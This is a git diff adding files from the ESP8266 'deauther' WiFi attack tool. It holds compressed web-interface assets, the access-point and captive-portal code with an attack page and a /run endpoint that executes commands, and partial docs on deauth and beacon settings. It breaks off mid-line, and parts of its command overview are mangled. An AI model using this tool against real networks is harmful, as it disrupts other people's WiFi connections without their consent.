0x4e, 0xb6, 0xdc, 0x8c, 0xc6, 0x51, 0x80, 0xee, 0xc3, 0x27, 0x19, 0x19, 0x05, 0x97, 0xbb, 0x26, 0x8a, 0x09, 0xca, 0x30, 0x2f, 0x27, 0x69, 0xf1, 0xfa, 0x88, 0x2f, 0x65, 0xe8, 0x96, 0x04, 0x2b, 0x91, 0xb4, 0xbb, 0xe7, 0xf5, 0x78, 0x75, 0xda, 0x38, 0x87, 0x7e, 0xf9, 0x57, 0xca, 0xf8, 0xf9, 0xd9, 0xd2, 0x0d, 0x11, 0x8f, 0x01, 0x17, 0xa7, 0xc6, 0xe9, 0x20, 0xf5, 0x9f, 0x34, 0xc6, 0x36, 0x7f, 0xd0, 0xdd, 0x14, 0x9e, 0x5d, 0xdb, 0x38, 0xf7, 0x32, 0x70, 0x3c, 0x65, 0xb8, 0x4f, 0xaa, 0xa7, 0x2b, 0xce, 0x67, 0x79, 0xf7, 0x7c, 0xd8, 0x78, 0x9e, 0x62, 0x4c, 0x89, 0xaf, 0xfa, 0x61, 0xfa, 0x7f, 0x88, 0xef, 0x8c, 0x69, 0xa8, 0xad, 0x92, 0xee, 0xdb, 0x07, 0x4a, 0x39, 0x1a, 0x3b, 0xbd, 0x3a, 0xf3, 0x95, 0x12, 0x1e, 0x13, 0x21, 0x7d, 0x73, 0xf3, 0xc3, 0x7f, 0x7e, 0xf8, 0x2f, 0xb4, 0xb0, 0x6b, 0xf9, 0xd4, 0x18, 0x00, 0x00}; +const char LICENSE[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb7, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x4c, 0x49, 0x43, 0x45, 0x4e, 0x53, 0x45, 0x00, 0x5d, 0x52, 0x4b, 0x6f, 0xe2, 0x30, 0x10, 0xbe, 0xfb, 0x57, 0x4c, 0x39, 0xb5, 0x52, 0xd4, 0x7d, 0x9c, 0x56, 0x7b, 0x33, 0x89, 0x29, 0x56, 0x43, 0x82, 0x9c, 0x50, 0x96, 0xa3, 0x49, 0x0c, 0x71, 0x15, 0x62, 0x64, 0x9b, 0xa2, 0xfe, 0xfb, 0x9d, 0x09, 0xf4, 0x29, 0x45, 0x8a, 0x3c, 0x9e, 0xf9, 0x5e, 0xe3, 0xcc, 0xc1, 0xe0, 0x22, 0x78, 0xd3, 0xda, 0x10, 0xbd, 0xdd, 0x9e, 0xa2, 0x49, 0x40, 0xb7, 0x2f, 0xc6, 0x47, 0x1b, 0x0c, 0x38, 0x0f, 0xc1, 0xf4, 0x3d, 0xc4, 0xce, 0x06, 0x08, 0x6e, 0x17, 0xcf, 0xda, 0x1b, 0xd0, 0x01, 0x34, 0x4c, 0x9e, 0xf5, 0xe1, 0x60, 0xfc, 0xe4, 0xe6, 0xe6, 0x86, 0xb1, 0x85, 0xac, 0x21, 0xb7, 0x8d, 0x19, 0x82, 0x61, 0x2c, 0x75, 0xc7, 0x57, 0x6f, 0xf7, 0x5d, 0x84, 0xdb, 0xe6, 0x0e, 0x7e, 0xff, 0xfc, 0xf5, 0x07, 0xaa, 0x68, 0x76, 0x7a, 0x80, 0x47, 0x6f, 0x0e, 0xc1, 0x78, 0xc6, 0x96, 0xc6, 0x1f, 0x6c, 0x08, 0xd6, 0x0d, 0x80, 0xc0, 0x9d, 0xf1, 0x66, 0xfb, 0x0a, 0x7b, 0xaf, 0x87, 0x68, 0xda, 0x04, 0x76, 0xde, 0x20, 0xf5, 0x0e, 0x9a, 0x4e, 0xfb, 0x3d, 0xea, 0x89, 0x0e, 0xf4, 0xf0, 0x0a, 0x47, 0xe3, 0x03, 0x0e, 0xb8, 0x6d, 0xd4, 0x76, 0xb0, 0xc3, 0x1e, 0x45, 0x34, 0x48, 0xc5, 0xb0, 0xf3, 0x9b, 0xbe, 0xa1, 0x45, 0x8d, 0xc1, 0x35, 0x56, 0x23, 0x1e, 0xb4, 0xae, 0x39, 0x1d, 0xcc, 0x10, 0x75, 0x24, 0xbe, 0x9d, 0xed, 0x4d, 0x80, 0xdb, 0xd8, 0x19, 0x98, 0x54, 0xd7, 0x89, 0xc9, 0xdd, 0x48, 0xd2, 0x1a, 0xdd, 0x33, 0x3b, 0x00, 0xdd, 0xbd, 0x5d, 0xc1, 0xd9, 0xc6, 0xce, 0x9d, 0x28, 0x22, 0x0a, 0xa8, 0x21, 0x8c, 0x04, 0xec, 0xd0, 0xf4, 0xa7, 0x96, 0x34, 0xbc, 0x5d, 0xf7, 0xf6, 0x60, 0xaf, 0x0c, 0x34, 0x3e, 0xfa, 0x0f, 0x0c, 0x41, 0x4f, 0x01, 0x1d, 0x90, 0xce, 0x04, 0x0e, 0xae, 0xb5, 0x3b, 0xfa, 0x9b, 0xd1, 0xd6, 0xf1, 0xb4, 0xed, 0x6d, 0xe8, 0x12, 0xf8, 0x9c, 0x7d, 0xa0, 0xe2, 0x18, 0x64, 0x42, 0x3e, 0x7e, 0x5c, 0x37, 0xc0, 0x10, 0xc1, 0xa2, 0xee, 0xd1, 0xeb, 0x87, 0xba, 0xb1, 0x87, 0xa4, 0x1f, 0x29, 0xd0, 0x78, 0x8d, 0x28, 0x50, 0xe5, 0xdc, 0xb9, 0xc3, 0x57, 0x27, 0x36, 0xb0, 0xdd, 0xc9, 0x0f, 0x48, 0x69, 0xc6, 0x99, 0xd6, 0x61, 0x64, 0x23, 0xe3, 0xb3, 0x69, 0x22, 0x55, 0xa8, 0x7d, 0xe7, 0xfa, 0xde, 0x9d, 0xc9, 0x5a, 0xe3, 0x86, 0xd6, 0x92, 0xa3, 0xf0, 0x97, 0xb1, 0x1a, 0xaf, 0xf4, 0xd6, 0xbd, 0x98, 0xd1, 0xcb, 0x65, 0xbd, 0xf8, 0x72, 0x50, 0xea, 0x45, 0x02, 0x2d, 0xe0, 0xf8, 0xb1, 0xd5, 0xeb, 0x55, 0xe8, 0x34, 0xbe, 0x9e, 0xad, 0xb9, 0x06, 0x86, 0xbc, 0x18, 0xaf, 0xfe, 0x64, 0xc7, 0x13, 0x7d, 0x88, 0xb8, 0x78, 0xab, 0x7b, 0x38, 0x3a, 0x3f, 0xf2, 0x7d, 0xb7, 0x79, 0x8f, 0xfc, 0x73, 0x01, 0x55, 0x39, 0xab, 0xd7, 0x5c, 0x09, 0x90, 0x15, 0x2c, 0x55, 0xf9, 0x24, 0x33, 0x91, 0xc1, 0x84, 0x57, 0x78, 0x9e, 0x24, 0xb0, 0x96, 0xf5, 0xbc, 0x5c, 0xd5, 0x80, 0x1d, 0x8a, 0x17, 0xf5, 0x06, 0xca, 0x19, 0xf0, 0x62, 0x03, 0x8f, 0xb2, 0xc8, 0x12, 0x10, 0xff, 0x96, 0x4a, 0x54, 0x15, 0x94, 0x8a, 0xc9, 0xc5, 0x32, 0x97, 0x02, 0x6b, 0xb2, 0x48, 0xf3, 0x55, 0x26, 0x8b, 0x07, 0x98, 0xe2, 0x5c, 0x51, 0xe2, 0x1b, 0x96, 0xf8, 0x92, 0x11, 0xb4, 0x2e, 0x81, 0x08, 0xaf, 0x50, 0x52, 0x54, 0x04, 0xb6, 0x10, 0x2a, 0x9d, 0xe3, 0x91, 0x4f, 0x65, 0x2e, 0xeb, 0x4d, 0xc2, 0x66, 0xb2, 0x2e, 0x08, 0x73, 0x56, 0x2a, 0xe0, 0xb0, 0xe4, 0xaa, 0x96, 0xe9, 0x2a, 0xe7, 0x0a, 0x96, 0x2b, 0xb5, 0x2c, 0x2b, 0x81, 0xf4, 0x19, 0xc2, 0x16, 0xb2, 0x98, 0x29, 0x64, 0x11, 0x0b, 0x51, 0xd4, 0xf7, 0xc8, 0x8a, 0x35, 0x10, 0x4f, 0x78, 0x80, 0x6a, 0xce, 0xf3, 0x9c, 0xa8, 0x18, 0x5f, 0xa1, 0x7a, 0x45, 0xfa, 0x20, 0x2d, 0x97, 0x1b, 0x25, 0x1f, 0xe6, 0x35, 0xcc, 0xcb, 0x3c, 0x13, 0x58, 0x9c, 0x0a, 0x54, 0xc6, 0xa7, 0xb9, 0xb8, 0x50, 0xa1, 0xa9, 0x34, 0xe7, 0x72, 0x91, 0x40, 0xc6, 0x17, 0xfc, 0x41, 0x8c, 0x53, 0x25, 0xa2, 0x28, 0x46, 0x6d, 0x17, 0x75, 0xb0, 0x9e, 0x0b, 0x2a, 0x11, 0x1f, 0xc7, 0x2f, 0xad, 0x65, 0x59, 0x90, 0x8d, 0xb4, 0x2c, 0x6a, 0x85, 0xc7, 0x04, 0x5d, 0xaa, 0xfa, 0x7d, 0x74, 0x2d, 0x2b, 0x91, 0x00, 0x57, 0xb2, 0xa2, 0x40, 0x66, 0xaa, 0x5c, 0x24, 0x8c, 0xe2, 0xc4, 0x89, 0x72, 0x04, 0xc1, 0xb9, 0x42, 0x5c, 0x50, 0x28, 0x6a, 0xf8, 0xb2, 0x11, 0x6c, 0xa1, 0xf3, 0xaa, 0x12, 0xef, 0x80, 0x90, 0x09, 0x9e, 0x23, 0x56, 0x45, 0xc3, 0x64, 0xf1, 0xad, 0xf9, 0x9e, 0xfd, 0x07, 0x37, 0x1d, 0x4f, 0xe3, 0x76, 0x04, 0x00, 0x00}; +#endif + +void copyWebFiles(bool force){ +#ifdef USE_PROGMEM_WEB_FILES +if(settings.getWebSpiffs()){ + if(!SPIFFS.exists(String(F("/web/attack.html.gz"))) || force) progmemToSpiffs(attackhtml, sizeof(attackhtml), String(F("/web/attack.html.gz"))); + if(!SPIFFS.exists(String(F("/web/index.html.gz"))) || force) progmemToSpiffs(indexhtml, sizeof(indexhtml), String(F("/web/index.html.gz"))); + if(!SPIFFS.exists(String(F("/web/info.html.gz"))) || force) progmemToSpiffs(infohtml, sizeof(infohtml), String(F("/web/info.html.gz"))); + if(!SPIFFS.exists(String(F("/web/scan.html.gz"))) || force) progmemToSpiffs(scanhtml, sizeof(scanhtml), String(F("/web/scan.html.gz"))); + if(!SPIFFS.exists(String(F("/web/settings.html.gz"))) || force) progmemToSpiffs(settingshtml, sizeof(settingshtml), String(F("/web/settings.html.gz"))); + if(!SPIFFS.exists(String(F("/web/ssids.html.gz"))) || force) progmemToSpiffs(ssidshtml, sizeof(ssidshtml), String(F("/web/ssids.html.gz"))); + if(!SPIFFS.exists(String(F("/web/style.css.gz"))) || force) progmemToSpiffs(stylecss, sizeof(stylecss), String(F("/web/style.css.gz"))); + if(!SPIFFS.exists(String(F("/web/js/attack.js.gz"))) || force) progmemToSpiffs(attackjs, sizeof(attackjs), String(F("/web/js/attack.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/scan.js.gz"))) || force) progmemToSpiffs(scanjs, sizeof(scanjs), String(F("/web/js/scan.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/settings.js.gz"))) || force) progmemToSpiffs(settingsjs, sizeof(settingsjs), String(F("/web/js/settings.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/site.js.gz"))) || force) progmemToSpiffs(sitejs, sizeof(sitejs), String(F("/web/js/site.js.gz"))); + if(!SPIFFS.exists(String(F("/web/js/ssids.js.gz"))) || force) progmemToSpiffs(ssidsjs, sizeof(ssidsjs), String(F("/web/js/ssids.js.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/cn.lang.gz"))) || force) progmemToSpiffs(cnlang, sizeof(cnlang), String(F("/web/lang/cn.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/cs.lang.gz"))) || force) progmemToSpiffs(cslang, sizeof(cslang), String(F("/web/lang/cs.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/de.lang.gz"))) || force) progmemToSpiffs(delang, sizeof(delang), String(F("/web/lang/de.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/en.lang.gz"))) || force) progmemToSpiffs(enlang, sizeof(enlang), String(F("/web/lang/en.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/es.lang.gz"))) || force) progmemToSpiffs(eslang, sizeof(eslang), String(F("/web/lang/es.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/fi.lang.gz"))) || force) progmemToSpiffs(filang, sizeof(filang), String(F("/web/lang/fi.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/fr.lang.gz"))) || force) progmemToSpiffs(frlang, sizeof(frlang), String(F("/web/lang/fr.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/it.lang.gz"))) || force) progmemToSpiffs(itlang, sizeof(itlang), String(F("/web/lang/it.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/ro.lang.gz"))) || force) progmemToSpiffs(rolang, sizeof(rolang), String(F("/web/lang/ro.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/ru.lang.gz"))) || force) progmemToSpiffs(rulang, sizeof(rulang), String(F("/web/lang/ru.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/lang/tlh.lang.gz"))) || force) progmemToSpiffs(tlhlang, sizeof(tlhlang), String(F("/web/lang/tlh.lang.gz"))); + if(!SPIFFS.exists(String(F("/web/LICENSE.gz"))) || force) progmemToSpiffs(LICENSE, sizeof(LICENSE), String(F("/web/LICENSE.gz"))); +} +#endif +} + +#endif \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h b/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h new file mode 100755 index 0000000..58accf4 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/wifi.h @@ -0,0 +1,410 @@ +#ifndef WifiManager_h +#define WifiManager_h + +#include "Arduino.h" +#include +#include +#include +#include +#include +#include +extern "C" { +#include "user_interface.h" +} + +#define WIFI_MODE_OFF 0 +#define WIFI_MODE_AP 1 +#define WIFI_MODE_STATION 2 + +/* + This file contains all necessary functions for hosting and connecting to an access point. + For compatibility and simplicity, all those functions are global. + */ + +// Important strings +const char W_DEAUTHER[] PROGMEM = "deauth.me"; // captive portal domain (alternative to 192.168.4.1) +const char W_WEBINTERFACE[] PROGMEM = "/web"; // default folder containing the web files +const char W_ERROR_PASSWORD[] PROGMEM = "ERROR: Password must have at least 8 characters!"; +const char W_DEFAULT_LANG[] PROGMEM = "/lang/default.lang"; + +const char W_HTML[] PROGMEM = "text/html"; +const char W_CSS[] PROGMEM = "text/css"; +const char W_JS[] PROGMEM = "application/javascript"; +const char W_PNG[] PROGMEM = "image/png"; +const char W_GIF[] PROGMEM = "image/gif"; +const char W_JPG[] PROGMEM = "image/jpeg"; +const char W_ICON[] PROGMEM = "image/x-icon"; +const char W_XML[] PROGMEM = "text/xml"; +const char W_XPDF[] PROGMEM = "application/x-pdf"; +const char W_XZIP[] PROGMEM = "application/x-zip"; +const char W_GZIP[] PROGMEM = "application/x-gzip"; +const char W_JSON[] PROGMEM = "application/json"; +const char W_TXT[] PROGMEM = "text/plain"; + +const char W_DOT_HTM[] PROGMEM = ".htm"; +const char W_DOT_HTML[] PROGMEM = ".html"; +const char W_DOT_CSS[] PROGMEM = ".css"; +const char W_DOT_JS[] PROGMEM = ".js"; +const char W_DOT_PNG[] PROGMEM = ".png"; +const char W_DOT_GIF[] PROGMEM = ".gif"; +const char W_DOT_JPG[] PROGMEM = ".jpg"; +const char W_DOT_ICON[] PROGMEM = ".ico"; +const char W_DOT_XML[] PROGMEM = ".xml"; +const char W_DOT_PDF[] PROGMEM = ".pdf"; +const char W_DOT_ZIP[] PROGMEM = ".zip"; +const char W_DOT_GZIP[] PROGMEM = ".gz"; +const char W_DOT_JSON[] PROGMEM = ".json"; + +// Server and other global objects +ESP8266WebServer server(80); +DNSServer dnsServer; +IPAddress apIP(192, 168, 4, 1); +IPAddress netMsk(255, 255, 255, 0); +File fsUploadFile; + +// current WiFi mode and config +uint8_t wifiMode = WIFI_MODE_OFF; + +bool wifi_config_hidden = false; +bool wifi_config_captivePortal = false; +String wifi_config_ssid; +String wifi_config_password; +String wifi_config_path; + +void stopAP() { + if (wifiMode == WIFI_MODE_AP) { + wifi_promiscuous_enable(0); + WiFi.persistent(false); + WiFi.disconnect(true); + wifi_set_opmode(STATION_MODE); + prntln(W_STOPPED_AP); + wifiMode = WIFI_MODE_STATION; + } +} + +void wifiUpdate() { + if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) { + server.handleClient(); + dnsServer.processNextRequest(); + } +} + +String getWifiMode() { + switch (wifiMode) { + case WIFI_MODE_OFF: + return W_MODE_OFF; + + break; + + case WIFI_MODE_AP: + return W_MODE_AP; + + break; + + case WIFI_MODE_STATION: + return W_MODE_ST; + + break; + + default: + return String(); + } +} + +String getContentType(String filename) { + if (server.hasArg("download")) return String(F("application/octet-stream")); + else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3); + else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML); + else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML); + else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS); + else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS); + else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG); + else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF); + else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG); + else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON); + else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML); + else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF); + else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP); + else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON); + else return str(W_TXT); +} + +bool handleFileRead(String path) { + //prnt(W_AP_REQUEST); + //prnt(path); + + if (!path.charAt(0) == SLASH) path = String(SLASH) + path; + + if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html")); + + String contentType = getContentType(path); + + if (!SPIFFS.exists(path)) { + if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP); + else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path; + else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str( + W_DOT_GZIP); + else { + // prntln(W_NOT_FOUND); + return false; + } + } + + File file = SPIFFS.open(path, "r"); + server.streamFile(file, contentType); + file.close(); + //prnt(SPACE); + //prntln(W_OK); + + return true; +} + +void handleFileList() { + if (!server.hasArg("dir")) { + server.send(500, str(W_TXT), str(W_BAD_ARGS)); + return; + } + + String path = server.arg("dir"); + // Serial.println("handleFileList: " + path); + Dir dir = SPIFFS.openDir(path); + + String output = String(OPEN_BRACKET); // { + File entry; + bool first = true; + + while (dir.next()) { + entry = dir.openFile("r"); + + if (first) first = false; + else output += COMMA; // , + + output += OPEN_BRACKET; // [ + output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename" + output += CLOSE_BRACKET; // ] + + entry.close(); + } + + output += CLOSE_BRACKET; + server.send(200, str(W_JSON).c_str(), output); +} + +void sendProgmem(const char* ptr, size_t size, const char* type) { + server.sendHeader("Content-Encoding", "gzip"); + server.sendHeader("Cache-Control", "max-age=86400"); + server.send_P(200, str(type).c_str(), ptr, size); +} + +// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network +// is visible, captivePortal = enable a captive portal +void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) { + if (password.length() < 8) { + prntln(W_ERROR_PASSWORD); + return; + } + + if (!path.charAt(0) == SLASH) path = String(SLASH) + path; + + if (password == String(ZERO)) password = String(NEWLINE); + + wifi_config_path = path; + wifi_config_ssid = ssid; + wifi_config_password = password; + setWifiChannel(ch); + wifi_config_hidden = hidden; + wifi_config_captivePortal = captivePortal; + + WiFi.softAPConfig(apIP, apIP, netMsk); + WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden); + + dnsServer.setErrorReplyCode(DNSReplyCode::NoError); + dnsServer.start(53, String(ASTERIX), apIP); + + MDNS.begin(str(W_DEAUTHER).c_str()); + + server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory + + + // ================================================================ + // post here the output of the webConverter.py +#ifdef USE_PROGMEM_WEB_FILES + if (!settings.getWebSpiffs()) { + server.on(String(SLASH).c_str(), HTTP_GET, []() { + sendProgmem(indexhtml, sizeof(indexhtml), W_HTML); + }); + server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() { + sendProgmem(attackhtml, sizeof(attackhtml), W_HTML); + }); + server.on(String(F("/index.html")).c_str(), HTTP_GET, []() { + sendProgmem(indexhtml, sizeof(indexhtml), W_HTML); + }); + server.on(String(F("/info.html")).c_str(), HTTP_GET, []() { + sendProgmem(infohtml, sizeof(infohtml), W_HTML); + }); + server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() { + sendProgmem(scanhtml, sizeof(scanhtml), W_HTML); + }); + server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() { + sendProgmem(settingshtml, sizeof(settingshtml), W_HTML); + }); + server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() { + sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML); + }); + server.on(String(F("/style.css")).c_str(), HTTP_GET, []() { + sendProgmem(stylecss, sizeof(stylecss), W_CSS); + }); + server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() { + sendProgmem(attackjs, sizeof(attackjs), W_JS); + }); + server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() { + sendProgmem(scanjs, sizeof(scanjs), W_JS); + }); + server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() { + sendProgmem(settingsjs, sizeof(settingsjs), W_JS); + }); + server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() { + sendProgmem(sitejs, sizeof(sitejs), W_JS); + }); + server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() { + sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS); + }); + server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() { + sendProgmem(cnlang, sizeof(cnlang), W_JSON); + }); + server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() { + sendProgmem(cslang, sizeof(cslang), W_JSON); + }); + server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() { + sendProgmem(delang, sizeof(delang), W_JSON); + }); + server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() { + sendProgmem(enlang, sizeof(enlang), W_JSON); + }); + server.on(String(F("/lang/es.lang")).c_str(), HTTP_GET, []() { + sendProgmem(eslang, sizeof(eslang), W_JSON); + }); + server.on(String(F("/lang/fi.lang")).c_str(), HTTP_GET, []() { + sendProgmem(filang, sizeof(filang), W_JSON); + }); + server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() { + sendProgmem(frlang, sizeof(frlang), W_JSON); + }); + server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() { + sendProgmem(itlang, sizeof(itlang), W_JSON); + }); + server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() { + sendProgmem(rulang, sizeof(rulang), W_JSON); + }); + server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() { + sendProgmem(tlhlang, sizeof(tlhlang), W_JSON); + }); + } + server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() { + if (!settings.getWebSpiffs()) { + if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON); + else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON); + else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON); + else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON); + else if (settings.getLang() == String(F("es"))) sendProgmem(eslang, sizeof(eslang), W_JSON); + else if (settings.getLang() == String(F("fi"))) sendProgmem(filang, sizeof(filang), W_JSON); + else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON); + else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON); + else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON); + else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON); + + else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang"))); + } else { + handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang"))); + } + }); +#endif + // ================================================================ + + server.on(String(F("/run")).c_str(), HTTP_GET, []() { + server.send(200, str(W_TXT), str(W_OK).c_str()); + String input = server.arg("cmd"); + cli.exec(input); + }); + + server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() { + server.send(200, str(W_JSON), attack.getStatusJSON()); + }); + + // aggressively caching static assets + server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400"); + + // called when the url is not defined here + // use it to load content from SPIFFS + server.onNotFound([]() { + if (!handleFileRead(server.uri())) { + server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND)); + } + }); + + server.begin(); + wifiMode = WIFI_MODE_AP; + + prntln(W_STARTED_AP); + printWifiStatus(); +} + +void printWifiStatus() { + prnt(String(F("[WiFi] Path: '"))); + prnt(wifi_config_path); + prnt(String(F("', Mode: '"))); + + switch (wifiMode) { + case WIFI_MODE_OFF: + prnt(W_MODE_OFF); + break; + + case WIFI_MODE_AP: + prnt(W_AP); + break; + + case WIFI_MODE_STATION: + prnt(W_STATION); + break; + } + prnt(String(F("', SSID: '"))); + prnt(wifi_config_ssid); + prnt(String(F("', password: '"))); + prnt(wifi_config_password); + prnt(String(F("', channel: '"))); + prnt(wifi_channel); + prnt(String(F("', hidden: "))); + prnt(b2s(wifi_config_hidden)); + prnt(String(F(", captive-portal: "))); + prntln(b2s(wifi_config_captivePortal)); +} + +void startAP() { + startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(), + wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal); +} + +void startAP(String path) { + wifi_config_path = path; + startAP(); +} + +void loadWifiConfigDefaults() { + wifi_config_hidden = settings.getHidden(); + wifi_config_ssid = settings.getSSID(); + wifi_config_password = settings.getPassword(); + wifi_config_captivePortal = settings.getCaptivePortal(); + wifi_config_path = str(W_WEBINTERFACE); +} + +void resumeAP() { + if (wifiMode != WIFI_MODE_AP) { + wifiMode = WIFI_MODE_AP; + wifi_promiscuous_enable(0); + WiFi.softAPConfig(apIP, apIP, netMsk); + WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden); + prntln(W_STARTED_AP); + } +} + +#endif // ifndef WifiManager_h diff --git a/enp8266/esp8266_deauther-master/serialcommands.md b/enp8266/esp8266_deauther-master/serialcommands.md new file mode 100755 index 0000000..fa3533b --- /dev/null +++ b/enp8266/esp8266_deauther-master/serialcommands.md @@ -0,0 +1,343 @@ +# Serial Commands + +**Overview:** +- [`help`](#help) +- [`scan [] [-t `](#screen) +## Video Overview + +[![@PwnKitteh made this video about deauther 2.0 serial commands. ](https://img.youtube.com/vi/wJu7lgqelZM/0.jpg)](https://www.youtube.com/watch?v=wJu7lgqelZM) + + +## HELP +`help` +Prints out list with all commands. + +## SCAN +`scan [] [-t ` +Changes display mode. +- **menu**: default mode when using the display interface +- **packetmonitor**: draws packet graph (will only work when you're scanning at the same time) +- **buttontest**: special mode for testing the buttons +- **loading**: loading screen that is normally used when starting a scan over the display menu diff --git a/enp8266/esp8266_deauther-master/settings.md b/enp8266/esp8266_deauther-master/settings.md new file mode 100755 index 0000000..ded2048 --- /dev/null +++ b/enp8266/esp8266_deauther-master/settings.md @@ -0,0 +1,166 @@ +# Settings + +**Overview** + - [`version`](#version) + - [`ssid`](#ssid) + - [`password`](#password) + - [`channel`](#channel) + - [`hidden`](#hidden) + - [`captivePortal`](#captiveportal) + - [`lang`](#lang) + - [`autosave`](#autosave) + - [`autosaveTime`](#autosave-time) + - [`displayInterface`](#display-interface) + - [`displayTimeout`](#displaytimeout) + - [`serialInterface`](#serial-interface) + - [`serialEcho`](#serial-echo) + - [`webInterface`](#web-interface) + - [`webSpiffs`](#web-spiffs) + - [`ledEnabled`](#ledEnabled) + - [`maxCh`](#max-ch) + - [`macAP`](#macap) + - [`macSt`](#macst) + - [`chTime`](#ch-time) + - [`minDeauths`](#mindeauths) + - [`attackTimeout`](#attacktimeout) + - [`forcePackets`](#force-packets) + - [`deauthsPerTarget`](#deauths-per-target) + - [`deauthReason`](#deauth-reason) + - [`beaconChannel`](#beacon-channel) + - [`beaconInterval`](#beacon-interval) + - [`randomTx`](#randomtx) + - [`probesPerSSID`](#probesperssid) + +## VERSION +`String version = VERSION;` +Version number, i.e. `v2.0`. +**PLEASE NOTE** that this setting can only be changed in the source code. + +## SSID +`String ssid = "pwned";` +SSID of access point used for the web interface (if enabled). +The length must be between 1 and 31 characters. + +## PASSWORD +`String password = "deauther";` +Password of access point used for the web interface (if enabled). +The length must be between 8 and 31 characters. + +## CHANNEL +`uint8_t channel = 1;` +Default WiFi channel that is used when starting. + +## HIDDEN +`bool hidden = false` +Hides the access point that is used for the web interface (if enabled). + +## CAPTIVEPORTAL +`bool captivePortal = true;` +Enables captive portal for access point (if enabled). + +## LANG +`String lang = "en";` +Default language for the web interface. +Be sure the language file exists! + +## AUTOSAVE +`bool autosave = true;` +Enables automatic saving of SSIDs, device names and settings. + +## AUTOSAVE-TIME +`uint32_t autosaveTime = 30000;` +Time interval for automatic saving in milliseconds. + +## DISPLAY-INTERFACE +`bool displayInterface = false;` +Enables display interface. + +## DISPLAYTIMEOUT +`uint32_t displayTimeout = 600` +Time in seconds after which the display turns off when inactive. +To disable the display timeout, set it to 0. + +## SERIAL-INTERFACE +`bool serialInterface = true;` +Enables serial interface. + +## SERIAL-ECHO +`bool serialEcho = 